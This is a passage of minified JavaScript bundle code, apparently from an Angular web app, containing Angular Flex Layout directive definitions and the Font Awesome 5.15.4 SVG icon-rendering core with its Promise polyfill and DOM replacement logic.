at=this.layout||"row",Se=this.inline;"row"===at&&Se?this.styleCache=xe:"row"!==at||Se?"row-reverse"===at&&Se?this.styleCache=Ae:"row-reverse"!==at||Se?"column"===at&&Se?this.styleCache=J:"column"!==at||Se?"column-reverse"===at&&Se?this.styleCache=mt:"column-reverse"===at&&!Se&&(this.styleCache=Ue):this.styleCache=Pe:this.styleCache=Re:this.styleCache=be,this.addStyles(Ee,{layout:at,inline:Se})}onLayoutChange(Ee){const at=Ee.value.split(" ");this.layout=at[0],this.inline=Ee.value.includes("inline"),E.find(Se=>Se===this.layout)||(this.layout="row"),this.triggerUpdate()}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(c1),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())(),Fe=(()=>(()=>{class nt extends kt{constructor(){super(...arguments),this.inputs=It}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxLayoutAlign",""],["","fxLayoutAlign.xs",""],["","fxLayoutAlign.sm",""],["","fxLayoutAlign.md",""],["","fxLayoutAlign.lg",""],["","fxLayoutAlign.xl",""],["","fxLayoutAlign.lt-sm",""],["","fxLayoutAlign.lt-md",""],["","fxLayoutAlign.lt-lg",""],["","fxLayoutAlign.lt-xl",""],["","fxLayoutAlign.gt-xs",""],["","fxLayoutAlign.gt-sm",""],["","fxLayoutAlign.gt-md",""],["","fxLayoutAlign.gt-lg",""]],inputs:{fxLayoutAlign:"fxLayoutAlign","fxLayoutAlign.xs":"fxLayoutAlign.xs","fxLayoutAlign.sm":"fxLayoutAlign.sm","fxLayoutAlign.md":"fxLayoutAlign.md","fxLayoutAlign.lg":"fxLayoutAlign.lg","fxLayoutAlign.xl":"fxLayoutAlign.xl","fxLayoutAlign.lt-sm":"fxLayoutAlign.lt-sm","fxLayoutAlign.lt-md":"fxLayoutAlign.lt-md","fxLayoutAlign.lt-lg":"fxLayoutAlign.lt-lg","fxLayoutAlign.lt-xl":"fxLayoutAlign.lt-xl","fxLayoutAlign.gt-xs":"fxLayoutAlign.gt-xs","fxLayoutAlign.gt-sm":"fxLayoutAlign.gt-sm","fxLayoutAlign.gt-md":"fxLayoutAlign.gt-md","fxLayoutAlign.gt-lg":"fxLayoutAlign.gt-lg"},features:[n.qOj]}),nt})())();const be=new Map,Pe=new Map,Re=new Map,Ue=new Map,xe=new Map,J=new Map,Ae=new Map,mt=new Map;let jt=(()=>(()=>{class nt{}return nt.\\u0275fac=function(Ee){return new(Ee||nt)},nt.\\u0275mod=n.oAB({type:nt}),nt.\\u0275inj=n.cJS({imports:[a.IR,s.vT]}),nt})())()},5951:(At,ae,d)=>{"use strict";function n(ye){return(n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(st){return typeof st}:function(st){return st&&"function"==typeof Symbol&&st.constructor===Symbol&&st!==Symbol.prototype?"symbol":typeof st})(ye)}function s(ye,st){for(var I=0;I<st.length;I++){var L=st[I];L.enumerable=L.enumerable||!1,L.configurable=!0,"value"in L&&(L.writable=!0),Object.defineProperty(ye,L.key,L)}}function c(ye,st,I){return st in ye?Object.defineProperty(ye,st,{value:I,enumerable:!0,configurable:!0,writable:!0}):ye[st]=I,ye}function f(ye){for(var st=1;st<arguments.length;st++){var I=null!=arguments[st]?arguments[st]:{},L=Object.keys(I);"function"==typeof Object.getOwnPropertySymbols&&(L=L.concat(Object.getOwnPropertySymbols(I).filter(function(T){return Object.getOwnPropertyDescriptor(I,T).enumerable}))),L.forEach(function(T){c(ye,T,I[T])})}return ye}function E(ye,st){return function g(ye){if(Array.isArray(ye))return ye}(ye)||function z(ye,st){var I=[],L=!0,T=!1,ue=void 0;try{for(var Ot,gt=ye[Symbol.iterator]();!(L=(Ot=gt.next()).done)&&(I.push(Ot.value),!st||I.length!==st);L=!0);}catch(Jt){T=!0,ue=Jt}finally{try{!L&&null!=gt.return&>.return()}finally{if(T)throw ue}}return I}(ye,st)||function j(){throw new TypeError("Invalid attempt to destructure non-iterable instance")}()}function _(ye){return function S(ye){if(Array.isArray(ye)){for(var st=0,I=new Array(ye.length);st<ye.length;st++)I[st]=ye[st];return I}}(ye)||function C(ye){if(Symbol.iterator in Object(ye)||"[object Arguments]"===Object.prototype.toString.call(ye))return Array.from(ye)}(ye)||function H(){throw new TypeError("Invalid attempt to spread non-iterable instance")}()}d.d(ae,{vI:()=>_n,vz:()=>si});var U=function(){},G={},Q={},oe=null,Ce={mark:U,measure:U};try{typeof window<"u"&&(G=window),typeof document<"u"&&(Q=document),typeof MutationObserver<"u"&&(oe=MutationObserver),typeof performance<"u"&&(Ce=performance)}catch{}var K=(G.navigator||{}).userAgent,se=void 0===K?"":K,ee=G,q=Q,we=oe,ce=Ce,Ze=!!q.documentElement&&!!q.head&&"function"==typeof q.addEventListener&&"function"==typeof q.createElement,le=~se.indexOf("MSIE")||~se.indexOf("Trident/"),Oe="___FONT_AWESOME___",Qe=16,Ye="fa",qe="svg-inline--fa",Ke="data-fa-i2svg",dt="data-fa-pseudo-element",bt="data-fa-pseudo-element-pending",ze="data-prefix",De="data-icon",re="fontawesome-i2svg",ve="async",We=["HTML","HEAD","STYLE","SCRIPT"],xt=function(){try{return!0}catch{return!1}}(),Be={fas:"solid",far:"regular",fal:"light",fad:"duotone",fab:"brands",fak:"kit",fa:"solid"},pe={solid:"fas",regular:"far",light:"fal",duotone:"fad",brands:"fab",kit:"fak"},P="fa-layers-text",w=/Font Awesome ([5 ]*)(Solid|Regular|Light|Duotone|Brands|Free|Pro|Kit).*/i,R={900:"fas",400:"far",normal:"far",300:"fal"},X=[1,2,3,4,5,6,7,8,9,10],_e=X.concat([11,12,13,14,15,16,17,18,19,20]),ct=["class","data-prefix","data-icon","data-fa-transform","data-fa-mask"],Je={GROUP:"group",SWAP_OPACITY:"swap-opacity",PRIMARY:"primary",SECONDARY:"secondary"},Et=["xs","sm","lg","fw","ul","li","border","pull-left","pull-right","spin","pulse","rotate-90","rotate-180","rotate-270","flip-horizontal","flip-vertical","flip-both","stack","stack-1x","stack-2x","inverse","layers","layers-text","layers-counter",Je.GROUP,Je.SWAP_OPACITY,Je.PRIMARY,Je.SECONDARY].concat(X.map(function(ye){return"".concat(ye,"x")})).concat(_e.map(function(ye){return"w-".concat(ye)})),Dt=ee.FontAwesomeConfig||{};q&&"function"==typeof q.querySelector&&[["data-family-prefix","familyPrefix"],["data-replacement-class","replacementClass"],["data-auto-replace-svg","autoReplaceSvg"],["data-auto-add-css","autoAddCss"],["data-auto-a11y","autoA11y"],["data-search-pseudo-elements","searchPseudoElements"],["data-observe-mutations","observeMutations"],["data-mutate-approach","mutateApproach"],["data-keep-original-source","keepOriginalSource"],["data-measure-performance","measurePerformance"],["data-show-missing-icons","showMissingIcons"]].forEach(function(ye){var st=E(ye,2),L=st[1],T=function Ie(ye){return""===ye||"false"!==ye&&("true"===ye||ye)}(function Pt(ye){var st=q.querySelector("script["+ye+"]");if(st)return st.getAttribute(ye)}(st[0]));null!=T&&(Dt[L]=T)});var m=f({},{familyPrefix:Ye,replacementClass:qe,autoReplaceSvg:!0,autoAddCss:!0,autoA11y:!0,searchPseudoElements:!1,observeMutations:!0,mutateApproach:"async",keepOriginalSource:!0,measurePerformance:!1,showMissingIcons:!0},Dt);m.autoReplaceSvg||(m.observeMutations=!1);var b=f({},m);ee.FontAwesomeConfig=b;var B=ee||{};B[Oe]||(B[Oe]={}),B[Oe].styles||(B[Oe].styles={}),B[Oe].hooks||(B[Oe].hooks={}),B[Oe].shims||(B[Oe].shims=[]);var ie=B[Oe],Xe=[],wt=!1;Ze&&((wt=(q.documentElement.doScroll?/^loaded|^c/:/^loaded|^i|^c/).test(q.readyState))||q.addEventListener("DOMContentLoaded",function ye(){q.removeEventListener("DOMContentLoaded",ye),wt=1,Xe.map(function(st){return st()})}));var be,Gt="pending",qt="settled",u1="fulfilled",c1="rejected",It=function(){},_t=typeof global<"u"&&typeof global.process<"u"&&"function"==typeof global.process.emit,kt=typeof setImmediate>"u"?setTimeout:setImmediate,Fe=[];function Pe(){for(var ye=0;ye<Fe.length;ye++)Fe[ye][0](Fe[ye][1]);Fe=[],be=!1}function Re(ye,st){Fe.push([ye,st]),be||(be=!0,kt(Pe,0))}function xe(ye){var st=ye.owner,I=st._state,L=st._data,T=ye[I],ue=ye.then;if("function"==typeof T){I=u1;try{L=T(L)}catch(gt){Ct(ue,gt)}}J(ue,L)||(I===u1&&Ae(ue,L),I===c1&&Ct(ue,L))}function J(ye,st){var I;try{if(ye===st)throw new TypeError("A promises callback cannot return that same promise.");if(st&&("function"==typeof st||"object"===n(st))){var L=st.then;if("function"==typeof L)return L.call(st,function(T){I||(I=!0,st===T?mt(ye,T):Ae(ye,T))},function(T){I||(I=!0,Ct(ye,T))}),!0}}catch(T){return I||Ct(ye,T),!0}return!1}function Ae(ye,st){(ye===st||!J(ye,st))&&mt(ye,st)}function mt(ye,st){ye._state===Gt&&(ye._state=qt,ye._data=st,Re(pt,ye))}function Ct(ye,st){ye._state===Gt&&(ye._state=qt,ye._data=st,Re(nt,ye))}function jt(ye){ye._then=ye._then.forEach(xe)}function pt(ye){ye._state=u1,jt(ye)}function nt(ye){ye._state=c1,jt(ye),!ye._handled&&_t&&global.process.emit("unhandledRejection",ye._data,ye)}function fe(ye){global.process.emit("rejectionHandled",ye)}function Ee(ye){if("function"!=typeof ye)throw new TypeError("Promise resolver "+ye+" is not a function");if(!(this instanceof Ee))throw new TypeError("Failed to construct \'Promise\': Please use the \'new\' operator, this object constructor cannot be called as a function.");this._then=[],function Ue(ye,st){function L(T){Ct(st,T)}try{ye(function I(T){Ae(st,T)},L)}catch(T){L(T)}}(ye,this)}Ee.prototype={constructor:Ee,_state:Gt,_then:null,_data:void 0,_handled:!1,then:function(st,I){var L={owner:this,then:new this.constructor(It),fulfilled:st,rejected:I};return(I||st)&&!this._handled&&(this._handled=!0,this._state===c1&&_t&&Re(fe,this)),this._state===u1||this._state===c1?Re(xe,L):this._then.push(L),L.then},catch:function(st){return this.then(null,st)}},Ee.all=function(ye){if(!Array.isArray(ye))throw new TypeError("You must pass an array to Promise.all().");return new Ee(function(st,I){var L=[],T=0;function ue(Jt){return T++,function(Tt){L[Jt]=Tt,--T||st(L)}}for(var Ot,gt=0;gt<ye.length;gt++)(Ot=ye[gt])&&"function"==typeof Ot.then?Ot.then(ue(gt),I):L[gt]=Ot;T||st(L)})},Ee.race=function(ye){if(!Array.isArray(ye))throw new TypeError("You must pass an array to Promise.race().");return new Ee(function(st,I){for(var T,L=0;L<ye.length;L++)(T=ye[L])&&"function"==typeof T.then?T.then(st,I):st(T)})},Ee.resolve=function(ye){return ye&&"object"===n(ye)&&ye.constructor===Ee?ye:new Ee(function(st){st(ye)})},Ee.reject=function(ye){return new Ee(function(st,I){I(ye)})};var at="function"==typeof Promise?Promise:Ee,Se=Qe,ot={size:16,x:0,y:0,rotate:0,flipX:!1,flipY:!1};function ut(ye){if(ye&&Ze){var st=q.createElement("style");st.setAttribute("type","text/css"),st.innerHTML=ye;for(var I=q.head.childNodes,L=null,T=I.length-1;T>-1;T--){var ue=I[T],gt=(ue.tagName||"").toUpperCase();["STYLE","LINK"].indexOf(gt)>-1&&(L=ue)}return q.head.insertBefore(st,L),ye}}var Rt="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";function Zt(){for(var ye=12,st="";ye-- >0;)st+=Rt[62*Math.random()|0];return st}function a1(ye){for(var st=[],I=(ye||[]).length>>>0;I--;)st[I]=ye[I];return st}function _1(ye){return ye.classList?a1(ye.classList):(ye.getAttribute("class")||"").split(" ").filter(function(st){return st})}function gn(ye){return"".concat(ye).replace(/&/g,"&").replace(/"/g,""").replace(/\'/g,"'").replace(/</g,"<").replace(/>/g,">")}function P1(ye){return Object.keys(ye||{}).reduce(function(st,I){return st+"".concat(I,": ").concat(ye[I],";")},"")}function on(ye){return ye.size!==ot.size||ye.x!==ot.x||ye.y!==ot.y||ye.rotate!==ot.rotate||ye.flipX||ye.flipY}function Ge(ye){var st=ye.transform,L=ye.iconWidth,T={transform:"translate(".concat(ye.containerWidth/2," 256)")},ue="translate(".concat(32*st.x,", ").concat(32*st.y,") "),gt="scale(".concat(st.size/16*(st.flipX?-1:1),", ").concat(st.size/16*(st.flipY?-1:1),") "),Ot="rotate(".concat(st.rotate," 0 0)");return{outer:T,inner:{transform:"".concat(ue," ").concat(gt," ").concat(Ot)},path:{transform:"translate(".concat(L/2*-1," -256)")}}}var Me={x:0,y:0,width:"100%",height:"100%"};function O(ye){return ye.attributes&&(ye.attributes.fill||!(arguments.length>1&&void 0!==arguments[1])||arguments[1])&&(ye.attributes.fill="black"),ye}function de(ye){return"g"===ye.tag?ye.children:[ye]}function Wt(ye){var st=ye.icons,I=st.main,L=st.mask,T=ye.prefix,ue=ye.iconName,gt=ye.transform,Ot=ye.symbol,Jt=ye.title,Tt=ye.maskId,t1=ye.titleId,O1=ye.extra,an=ye.watchable,W1=void 0!==an&&an,Bn=L.found?L:I,Dn=Bn.width,sn=Bn.height,Yn="fak"===T,qn=Yn?"":"fa-w-".concat(Math.ceil(Dn/sn*16)),xi=[b.replacementClass,ue?"".concat(b.familyPrefix,"-").concat(ue):"",qn].filter(function(rt){return-1===O1.classes.indexOf(rt)}).filter(function(rt){return""!==rt||!!rt}).concat(O1.classes).join(" "),Wn={children:[],attributes:f({},O1.attributes,{"data-prefix":T,"data-icon":ue,class:xi,role:O1.attributes.role||"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 ".concat(Dn," ").concat(sn)})},Te=Yn&&!~O1.classes.indexOf("fa-fw")?{width:"".concat(Dn/sn*16*.0625,"em")}:{};W1&&(Wn.attributes[Ke]=""),Jt&&Wn.children.push({tag:"title",attributes:{id:Wn.attributes["aria-labelledby"]||"title-".concat(t1||Zt())},children:[Jt]});var y=f({},Wn,{prefix:T,iconName:ue,main:I,mask:L,maskId:Tt,transform:gt,symbol:Ot,styles:f({},Te,O1.styles)}),D=L.found&&I.found?function h(ye){var st=ye.children,I=ye.attributes,L=ye.main,T=ye.mask,ue=ye.maskId,Jt=L.icon,t1=T.icon,O1=Ge({transform:ye.transform,containerWidth:T.width,iconWidth:L.width}),an={tag:"rect",attributes:f({},Me,{fill:"white"})},W1=Jt.children?{children:Jt.children.map(O)}:{},Bn={tag:"g",attributes:f({},O1.inner),children:[O(f({tag:Jt.tag,attributes:f({},Jt.attributes,O1.path)},W1))]},Dn={tag:"g",attributes:f({},O1.outer),children:[Bn]},sn="mask-".concat(ue||Zt()),Yn="clip-".concat(ue||Zt()),qn={tag:"mask",attributes:f({},Me,{id:sn,maskUnits:"userSpaceOnUse",maskContentUnits:"userSpaceOnUse"}),children:[an,Dn]},xi={tag:"defs",children:[{tag:"clipPath",attributes:{id:Yn},children:de(t1)},qn]};return st.push(xi,{tag:"rect",attributes:f({fill:"currentColor","clip-path":"url(#".concat(Yn,")"),mask:"url(#".concat(sn,")")},Me)}),{children:st,attributes:I}}(y):function $(ye){var st=ye.children,I=ye.attributes,L=ye.main,T=ye.transform,gt=P1(ye.styles);if(gt.length>0&&(I.style=gt),on(T)){var Ot=Ge({transform:T,containerWidth:L.width,iconWidth:L.width});st.push({tag:"g",attributes:f({},Ot.outer),children:[{tag:"g",attributes:f({},Ot.inner),children:[{tag:L.icon.tag,children:L.icon.children,attributes:f({},L.icon.attributes,Ot.path)}]}]})}else st.push(L.icon);return{children:st,attributes:I}}(y),Le=D.attributes;return y.children=D.children,y.attributes=Le,Ot?function lt(ye){var I=ye.iconName,L=ye.children,ue=ye.symbol;return[{tag:"svg",attributes:{style:"display: none;"},children:[{tag:"symbol",attributes:f({},ye.attributes,{id:!0===ue?"".concat(ye.prefix,"-").concat(b.familyPrefix,"-").concat(I):ue}),children:L}]}]}(y):function ke(ye){var st=ye.children,I=ye.main,L=ye.mask,T=ye.attributes,ue=ye.styles,gt=ye.transform;if(on(gt)&&I.found&&!L.found){var Tt={x:I.width/I.height/2,y:.5};T.style=P1(f({},ue,{"transform-origin":"".concat(Tt.x+gt.x/16,"em ").concat(Tt.y+gt.y/16,"em")}))}return[{tag:"svg",attributes:T,children:st}]}(y)}function p1(ye){var st=ye.content,I=ye.width,L=ye.height,T=ye.transform,ue=ye.title,gt=ye.extra,Ot=ye.watchable,Jt=void 0!==Ot&&Ot,Tt=f({},gt.attributes,ue?{title:ue}:{},{class:gt.classes.join(" ")});Jt&&(Tt[Ke]="");var t1=f({},gt.styles);on(T)&&(t1.transform=function vt(ye){var st=ye.transform,I=ye.width,T=ye.height,ue=void 0===T?Qe:T,gt=ye.startCentered,Ot=void 0!==gt&>,Jt="";return Jt+=Ot&&le?"translate(".concat(st.x/Se-(void 0===I?Qe:I)/2,"em, ").concat(st.y/Se-ue/2,"em) "):Ot?"translate(calc(-50% + ".concat(st.x/Se,"em), calc(-50% + ").concat(st.y/Se,"em)) "):"translate(".concat(st.x/Se,"em, ").concat(st.y/Se,"em) "),(Jt+="scale(".concat(st.size/Se*(st.flipX?-1:1),", ").concat(st.size/Se*(st.flipY?-1:1),") "))+"rotate(".concat(st.rotate,"deg) ")}({transform:T,startCentered:!0,width:I,height:L}),t1["-webkit-transform"]=t1.transform);var O1=P1(t1);O1.length>0&&(Tt.style=O1);var an=[];return an.push({tag:"span",attributes:Tt,children:[st]}),ue&&an.push({tag:"span",attributes:{class:"sr-only"},children:[ue]}),an}var Qt=function(){},h1=b.measurePerformance&&ce&&ce.mark&&ce.measure?ce:{mark:Qt,measure:Qt},N1=\'FA "5.15.4"\',T1=function(st){h1.mark("".concat(N1," ").concat(st," ends")),h1.measure("".concat(N1," ").concat(st),"".concat(N1," ").concat(st," begins"),"".concat(N1," ").concat(st," ends"))},V1={begin:function(st){return h1.mark("".concat(N1," ").concat(st," begins")),function(){return T1(st)}},end:T1},E1=function(st,I,L,T){var Jt,Tt,t1,ue=Object.keys(st),gt=ue.length,Ot=void 0!==T?function(st,I){return function(L,T,ue,gt){return st.call(I,L,T,ue,gt)}}(I,T):I;for(void 0===L?(Jt=1,t1=st[ue[0]]):(Jt=0,t1=L);Jt<gt;Jt++)t1=Ot(t1,st[Tt=ue[Jt]],Tt,st);return t1};function In(ye){for(var st="",I=0;I<ye.length;I++)st+=("000"+ye.charCodeAt(I).toString(16)).slice(-4);return st}function Gn(ye,st){var L=(arguments.length>2&&void 0!==arguments[2]?arguments[2]:{}).skipHooks,T=void 0!==L&&L,ue=Object.keys(st).reduce(function(gt,Ot){var Jt=st[Ot];return Jt.icon?gt[Jt.iconName]=Jt.icon:gt[Ot]=Jt,gt},{});"function"!=typeof ie.hooks.addPack||T?ie.styles[ye]=f({},ie.styles[ye]||{},ue):ie.hooks.addPack(ye,ue),"fas"===ye&&Gn("fa",st)}var D1=ie.styles,ci=ie.shims,fn={},Rn={},cn={},X1=function(){var st=function(T){return E1(D1,function(ue,gt,Ot){return ue[Ot]=E1(gt,T,{}),ue},{})};fn=st(function(L,T,ue){return T[3]&&(L[T[3]]=ue),L}),Rn=st(function(L,T,ue){var gt=T[2];return L[ue]=ue,gt.forEach(function(Ot){L[Ot]=ue}),L});var I="far"in D1;cn=E1(ci,function(L,T){var gt=T[1];return"far"===gt&&!I&&(gt="fas"),L[T[0]]={prefix:gt,iconName:T[2]},L},{})};function Pn(ye,st){return(fn[ye]||{})[st]}X1();var $n=ie.styles,li=function(){return{prefix:null,iconName:null,rest:[]}};function L1(ye){return ye.reduce(function(st,I){var L=function G1(ye,st){var I=st.split("-"),L=I[0],T=I.slice(1).join("-");return L!==ye||""===T||function Ne(ye){return~Et.indexOf(ye)}(T)?null:T}(b.familyPrefix,I);if($n[I])st.prefix=I;else if(b.autoFetchSvg&&Object.keys(Be).indexOf(I)>-1)st.prefix=I;else if(L){var T="fa"===st.prefix?function An(ye){return cn[ye]||{prefix:null,iconName:null}}(L):{};st.iconName=T.iconName||L,st.prefix=T.prefix||st.prefix}else I!==b.replacementClass&&0!==I.indexOf("fa-w-")&&st.rest.push(I);return st},li())}function Cn(ye,st,I){if(ye&&ye[st]&&ye[st][I])return{prefix:st,iconName:I,icon:ye[st][I]}}function Mn(ye){var st=ye.tag,I=ye.attributes,L=void 0===I?{}:I,T=ye.children,ue=void 0===T?[]:T;return"string"==typeof ye?gn(ye):"<".concat(st," ").concat(function nn(ye){return Object.keys(ye||{}).reduce(function(st,I){return st+"".concat(I,\'="\').concat(gn(ye[I]),\'" \')},"").trim()}(L),">").concat(ue.map(Mn).join(""),"</").concat(st,">")}var di=function(){};function ri(ye){return"string"==typeof(ye.getAttribute?ye.getAttribute(Ke):null)}var Nn={replace:function(st){var I=st[0],T=st[1].map(function(gt){return Mn(gt)}).join("\\n");if(I.parentNode&&I.outerHTML)I.outerHTML=T+(b.keepOriginalSource&&"svg"!==I.tagName.toLowerCase()?"\\x3c!-- ".concat(I.outerHTML," Font Awesome fontawesome.com --\\x3e"):"");else if(I.parentNode){var ue=document.createElement("span");I.parentNode.replaceChild(ue,I),ue.outerHTML=T}},nest:function(st){var I=st[0],L=st[1];if(~_1(I).indexOf(b.replacementClass))return Nn.replace(st);var T=new RegExp("".concat(b.familyPrefix,"-.*"));delete L[0].attributes.style,delete L[0].attributes.id;var ue=L[0].attributes.class.split(" ").reduce(function(Ot,Jt){return Jt===b.replacementClass||Jt.match(T)?Ot.toSvg.push(Jt):Ot.toNode.push(Jt),Ot},{toNode:[],toSvg:[]});L[0].attributes.class=ue.toSvg.join(" ");var gt=L.map(function(Ot){return Mn(Ot)}).join("\\n");I.setAttribute("class",ue.toNode.join(" ")),I.setAttribute(Ke,""),I.innerHTML=gt}};function ln(ye){ye()}function u2(ye,st){var I="function"==typeof st?st:di;if(0===ye.length)I();else{var L=ln;b.mutateApproach===ve&&(L=ee.requestAnimationFrame||ln),L(function(){var T=function _i(){return!0===b.autoReplaceSvg?Nn.replace:Nn[b.autoReplaceSvg]||Nn.replace}(),ue=V1.begin("mutate");ye.map(T),ue(),I()})}}var dn=!1;function Ei(){dn=!1}var Hn=null;var zi=function(st){var I={size:16,x:0,y:0,flipX:!1,flipY:!1,rotate:0};return st?st.toLowerCase().split(" ").reduce(function(L,T){var ue=T.toLowerCase().split("-"),gt=ue[0],Ot=ue.slice(1).join("-");if(gt&&"h"===Ot)return L.flipX=!0,L;if(gt&&"v"===Ot)return L.flipY=!0,L;if(Ot=parseFloat(Ot),isNaN(Ot))return L;switch(gt){case"grow":L.size=L.size+Ot;break;case"shrink":L.size=L.size-Ot;break;case"left":L.x=L.x-Ot;break;case"right":L.x=L.x+Ot;break;case"up":L.y=L.y-Ot;break;case"down":L.y=L.y+Ot;break;case"rotate":L.rotate=L.rotate+Ot}return L},I):I};function Ni(ye){var st=function Qi(ye){var st=ye.getAttribute("data-prefix"),I=ye.getAttribute("data-icon"),L=void 0!==ye.innerText?ye.innerText.trim():"",T=L1(_1(ye));return st&&I&&(T.prefix=st,T.iconName=I),T.prefix&&L.length>1?T.iconName=function Fn(ye,st){return(Rn[ye]||{})[st]}(T.prefix,ye.innerText):T.prefix&&1===L.length&&(T.iconName=Pn(T.prefix,In(ye.innerText))),T}(ye),I=st.iconName,L=st.prefix,T=st.rest,ue=function Fi(ye){var st=ye.getAttribute("style"),I=[];return st&&(I=st.split(";").reduce(function(L,T){var ue=T.split(":"),gt=ue[0],Ot=ue.slice(1);return gt&&Ot.length>0&&(L[gt]=Ot.join(":").trim()),L},{})),I}(ye),gt=function hi(ye){return zi(ye.getAttribute("data-fa-transform"))}(ye),Ot=function Kn(ye){var st=ye.getAttribute("data-fa-symbol");return null!==st&&(""===st||st)}(ye),Jt=function Ti(ye){var st=a1(ye.attributes).reduce(function(T,ue){return"class"!==T.name&&"style"!==T.name&&(T[ue.name]=ue.value),T},{}),I=ye.getAttribute("title"),L=ye.getAttribute("data-fa-title-id");return b.autoA11y&&(I?st["aria-labelledby"]="".concat(b.replacementClass,"-title-").concat(L||Zt()):(st["aria-hidden"]="true",st.focusable="false")),st}(ye),Tt=function qi(ye){var st=ye.getAttribute("data-fa-mask");return st?L1(st.split(" ").map(function(I){return I.trim()})):li()}(ye);return{iconName:I,title:ye.getAttribute("title"),titleId:ye.getAttribute("data-fa-title-id"),prefix:L,transform:gt,symbol:Ot,mask:Tt,maskId:ye.getAttribute("data-fa-mask-id"),extra:{classes:T,styles:ue,attributes:Jt}}}function ei(ye){this.name="MissingIcon",this.message=ye||"Icon unavailable",this.stack=(new Error).stack}(ei.prototype=Object.create(Error.prototype)).constructor=ei;var Zn={fill:"currentColor"},Hi={attributeType:"XML",repeatCount:"indefinite",dur:"2s"},f2={tag:"path",attributes:f({},Zn,{d:"M156.5,447.7l-12.6,29.5c-18.7-9.5-35.9-21.2-51.5-34.9l22.7-22.7C127.6,430.5,141.5,440,156.5,447.7z M40.6,272H8.5 c1.4,21.2,5.4,41.7,11.7,61.1L50,321.2C45.1,305.5,41.8,289,40.6,272z M40.6,240c1.4-18.8,5.2-37,11.1-54.1l-29.5-12.6 C14.7,194.3,10,216.7,8.5,240H40.6z M64.3,156.5c7.8-14.9,17.2-28.8,28.1-41.5L69.7,92.3c-13.7,15.6-25.5,32.8-34.9,51.5 L64.3,156.5z M397,419.6c-13.9,12-29.4,22.3-46.1,30.4l11.9,29.8c20.7-9.9,39.8-22.6,56.9-37.6L397,419.6z M115,92.4 c13.9-12,29.4-22.3,46.1-30.4l-11.9-29.8c-20.7,9.9-39.8,22.6-56.8,37.6L115,92.4z M447.7,355.5c-7.8,14.9-17.2,28.8-28.1,41.5 l22.7,22.7c13.7-15.6,25.5-32.9,34.9-51.5L447.7,355.5z M471.4,272c-1.4,18.8-5.2,37-11.1,54.1l29.5,12.6 c7.5-21.1,12.2-43.5,13.6-66.8H471.4z M321.2,462c-15.7,5-32.2,8.2-49.2,9.4v32.1c21.2-1.4,41.7-5.4,61.1-11.7L321.2,462z M240,471.4c-18.8-1.4-37-5.2-54.1-11.1l-12.6,29.5c21.1,7.5,43.5,12.2,66.8,13.6V471.4z M462,190.8c5,15.7,8.2,32.2,9.4,49.2h32.1 c-1.4-21.2-5.4-41.7-11.7-61.1L462,190.8z M92.4,397c-12-13.9-22.3-29.4-30.4-46.1l-29.8,11.9c9.9,20.7,22.6,39.8,37.6,56.9 L92.4,397z M272,40.6c18.8,1.4,36.9,5.2,54.1,11.1l12.6-29.5C317.7,14.7,295.3,10,272,8.5V40.6z M190.8,50 c15.7-5,32.2-8.2,49.2-9.4V8.5c-21.2,1.4-41.7,5.4-61.1,11.7L190.8,50z M442.3,92.3L419.6,115c12,13.9,22.3,29.4,30.5,46.1 l29.8-11.9C470,128.5,457.3,109.4,442.3,92.3z M397,92.4l22.7-22.7c-15.6-13.7-32.8-25.5-51.5-34.9l-12.6,29.5 C370.4,72.1,384.4,81.5,397,92.4z"})},Vi=f({},Hi,{attributeName:"opacity"}),Bi={tag:"g",children:[f2,{tag:"circle",attributes:f({},Zn,{cx:"256",cy:"364",r:"28"}),children:[{tag:"animate",attributes:f({},Hi,{attributeName:"r",values:"28;14;28;28;14;28;"})},{tag:"animate",attributes:f({},Vi,{values:"1;0;1;1;0;1;"})}]},{tag:"path",attributes:f({},Zn,{opacity:"1",d:"M263.7,312h-16c-6.6,0-12-5.4-12-12c0-71,77.4-63.9,77.4-107.8c0-20-17.8-40.2-57.4-40.2c-29.1,0-44.3,9.6-59.2,28.7 c-3.9,5-11.1,6-16.2,2.4l-13.1-9.2c-5.6-3.9-6.9-11.8-2.6-17.2c21.2-27.2,46.4-44.7,91.2-44.7c52.3,0,97.4,29.8,97.4,80.2 c0,67.6-77.4,63.5-77.4,107.8C275.7,306.6,270.3,312,263.7,312z"}),children:[{tag:"animate",attributes:f({},Vi,{values:"1;0;0;0;0;1;"})}]},{tag:"path",attributes:f({},Zn,{opacity:"0",d:"M232.5,134.5l7,168c0.3,6.4,5.6,11.5,12,11.5h9c6.4,0,11.7-5.1,12-11.5l7-168c0.3-6.8-5.2-12.5-12-12.5h-23 C237.7,122,232.2,127.7,232.5,134.5z"}),children:[{tag:"animate",attributes:f({},Vi,{values:"0;0;1;1;0;0;"})}]}]},Ji=ie.styles;function bi(ye){var st=ye[0],I=ye[1],ue=E(ye.slice(4),1)[0];return{found:!0,width:st,height:I,icon:Array.isArray(ue)?{tag:"g",attributes:{class:"".concat(b.familyPrefix,"-").concat(Je.GROUP)},children:[{tag:"path",attributes:{class:"".concat(b.familyPrefix,"-").concat(Je.SECONDARY),fill:"currentColor",d:ue[0]}},{tag:"path",attributes:{class:"".concat(b.familyPrefix,"-").concat(Je.PRIMARY),fill:"currentColor",d:ue[1]}}]}:{tag:"path",attributes:{fill:"currentColor",d:ue}}}}function mn(ye,st){return new at(function(I,L){var T={found:!1,width:512,height:512,icon:Bi};if(ye&&st&&Ji[st]&&Ji[st][ye])return I(bi(Ji[st][ye]));ye&&st&&!b.showMissingIcons?L(new ei("Icon is missing for prefix ".concat(st," with icon name ").concat(ye))):I(T)})}var ai=ie.styles;function Ui(ye){var st=Ni(ye);return~st.extra.classes.indexOf(P)?function fi(ye,st){var I=st.title,L=st.transform,T=st.extra,ue=null,gt=null;if(le){var Ot=parseInt(getComputedStyle(ye).fontSize,10),Jt=ye.getBoundingClientRect();ue=Jt.width/Ot,gt=Jt.height/Ot}return b.autoA11y&&!I&&(T.attributes["aria-hidden"]="true"),at.resolve([ye,p1({content:ye.innerHTML,width:ue,height:gt,transform:L,title:I,extra:T,watchable:!0})])}(ye,st):function jn(ye,st){var 